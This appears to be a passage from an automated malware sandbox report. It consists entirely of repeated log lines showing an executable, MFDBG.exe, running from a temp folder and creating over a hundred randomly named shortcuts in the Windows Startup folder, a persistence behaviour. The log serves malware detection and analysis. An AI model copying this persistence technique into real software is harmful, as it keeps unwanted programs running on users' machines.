Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_256b7bc30da443a3af04f1c3149f2a81.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_38dbc749f0574866bee5744ec345225d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_32a771c4b8ba4aaca08a780459678c06.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a9c532f7c5974a7eaee02bedebe1cbdf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c248998bc7984c0a9363c00298387770.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a743113bb7e749dfa4965f279611659b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c31a7c420d8a4d4696f672280bb2c4b6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f6b2dc63d8724a01b65af3be17a83528.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c66780075c16437399490e20625aefa3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_301b2044a3774d16b16cf2ecb28bc225.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_924ff549fd444705b16594fd9c2fd671.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_30c3c723f2c44cb390101a7e9170f1b7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5bbb0dc5e1d54152a78fd9850f5eefd7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e4d6ae53c7d849b38ff6f23886167cbd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_14662e32a3fc4e91a626d2db03168433.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc0b7f730d78456594918e0041888b5e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f7b95cb2ff3b4ba4877b5bd6a7ebb25a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad42cf402d6c4b6aa876291c072cd52b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_667935b677aa419a9ccc9bb20f18bbc3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_998d25b952b74ec58255d6b3b8251b50.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ef6e4451b27b4dbfa91845ca1e8c53db.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f31d299e77614811bbf95885d0fa85bd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20f03ec0b722450f8dd89b1eba645eb7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_77a25129c6d64ccbbfda9413779b332f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92df9103c8114040941a49fbe28a743d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0c1030fd26594fa6a4b6d656fb63271c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f73de78cc5d64e2cbf683454adf71c62.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_994cb8b01abd4f199e774b7546cf7f6a.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_66440b47f06c450b8dde09c2b58074a2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5d3d5da592e84e35aca9d3e42ec61578.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4cceea8106cf449babcf5c092e075541.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3cd2a756f7db46e18e341fb3aaaeab68.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cb3770bd64ae4facbb95bb90dfd311bc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_56382babef014f719181053cebe0c3c9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f54b3fe81f7346f0b3c02addc3692e43.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2cbed55d522c412f8d89f39321ac9868.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b87b2a493de457ea11bc6d57803e75e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_679b140d753d463fa5f7410c49b12ae5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d5e849c7e90d4d4bb762678af2f09dd1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ae3abd9456904d769e04732960fea291.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5460a2bf7e6f47bf9fc7ccb90ba44964.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cced82f205f241c6a8aab111ffbaad83.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5cf6be2ff21462486128190b8390323.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4e6d00d8ae154c67a16b94aaca016867.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c537fcc881fd49cabaab9f159b7ddb28.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a3ea820ecad64f51a4b7e66694e7756b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_066c526578dd43c093e1070c0cb937dc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cde732e5dddd4a47bcdc18deaf833198.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0df31e6159844471917aa5b468c1a0d4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_85d88418c33a4c349c180bcf8d9eaa82.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db0e0a0033264ea2abd75127aac03a26.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ad27d76c850649209970018fbb8d0dcb.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6d35d3f78b844aeda57d5e1f351b7ccd.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_37bb5516687f4f8ca361b5f9d1ca7e73.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_80b420a76f29430b846d83399fe78855.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4ade3b0c3da42618c0d49ba137e6d8d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11799185fc1f4c72ae6760a10b880fb8.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4c2f51caa23a4c02868a318247d6d956.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_163453e47915407487c8012c3b0b8886.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_0f4f09629b044095b2c2d8514fe27aae.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_78e00d46c533471ab2c16662c583f680.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_246ebd4a9dea4101a4e74b29f59d02ce.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bb78e47ca2634e6a9332233b47bfee84.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4a5702d5110b439782b10927afb82e71.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_724b9d1e0a014fd29bf8a64660e843ee.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2d672838abde4257b8a4838689b148e7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f4bc7d7640b5455e9dbee4c934518f80.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ab0a587ce8594652a32e2550c334c07b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3b02aa4440784b739919a14c6b0548a6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_078c51c4a43a411483324571326e1ad2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_be4831634e064c8bb70557869d6673f4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9f087932f08345f68c905339e7015437.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e072f185ba6a4099bb4cf1c48dad4b91.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ac8ceff2ce5240808388fa938cf22e6e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_265e3abed05a4b529e57b388cd489159.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a23fe1d7ec944a1817d5b09d7284278.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f68fc1aacaaa46fe8ac4978abd54243d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d3046e48bcec47bd855e0ac952badebf.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_e51f37fde46b4955ba442ede1eff7bf5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ea589666448340608abd19f58b415517.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f0351268e62648168c71aac7e0a3ab40.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_92c50cd1a2684953912584e5ebba738e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2bebec6db45143f499e187ed65ef4b98.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9ad8f05f19b94d98a579a7255e662ed4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8c507cf2ef524523902de74dffb9295c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c888df9723c8481196499f03d4dedf14.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3a945fade9b046e8b79e1230a518d579.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_3981c917f4f14b8bae23ff7cff08ee22.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b32c70c409d5483bb853df493e35acd0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6471b9284ad949049802e24b2a2a63e3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_af4cb4b43d25418c90c096803f150cb3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_bc40d91b915f4b45bffcca17ba03e30b.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5b3f16f31644dc0b5048a2ab0c6cdfc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_20e4f71819f04ed6847d18e38ae8c118.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c08f80e60ee941fe8c7b3cdd13c3e1cc.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_903962c29a134959900953d45d34a11f.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_6d065e6befc749ab9239a3368ee375b0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_8be187454c0c4d6bb7a17c6bd0751ea3.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_68de44edeeb44d688ad1a2b46c0c98a2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fc72e97d66244b88a66a7cd0b1abc795.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_803fd97d22e84af8ba81083c1ee73b95.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c05d666362f84681af224d41eb6276ab.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c66968aaeeed407289c078eb50b09af0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a25a05906f494a63aea991434abcb684.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cac04a26ebfd43ad9c012fcd943d73d9.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_11bb993241174236ae6ead7e4d655d7d.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5db02667637048b5b7b36d72e76d6ea7.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c5b00642026748cea869cb66fb712632.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_9c246699b5ec4110bf7f022a83c7d0db.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f58bf8c6bfe340daa98f97e6c83ae25c.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4114f1046b56454982c559880f00bea5.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fbf07c59d2ed4cb5a9f0c8337cd925e0.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4fcdb40a7ad743a595149d62e99c531e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_53e7c0527e1346e3af19c6dacafbb943.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_87be2b38d01345baac03443a93fbaea1.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_c9c9b2e1c22c4c26a2ebfbea7b6d3647.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_5361e487844d460ebea51925861c3e7e.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_4fe8d68d927a4ead874aa62dfdce0148.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_45a387d513a94bad90d18677fff02ba2.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_7fb8adc8fc414f4aa148f7d55228b7c4.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_cde93ed3236248a5b5c67767a92407de.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_a90cd16cfe8b4c59b8d225f742a76973.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_55c3178306b649caab93d24353dbf6c6.lnk	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_b7e7833f47e74e049efb85faaafffc99.lnk	Jump to behavior
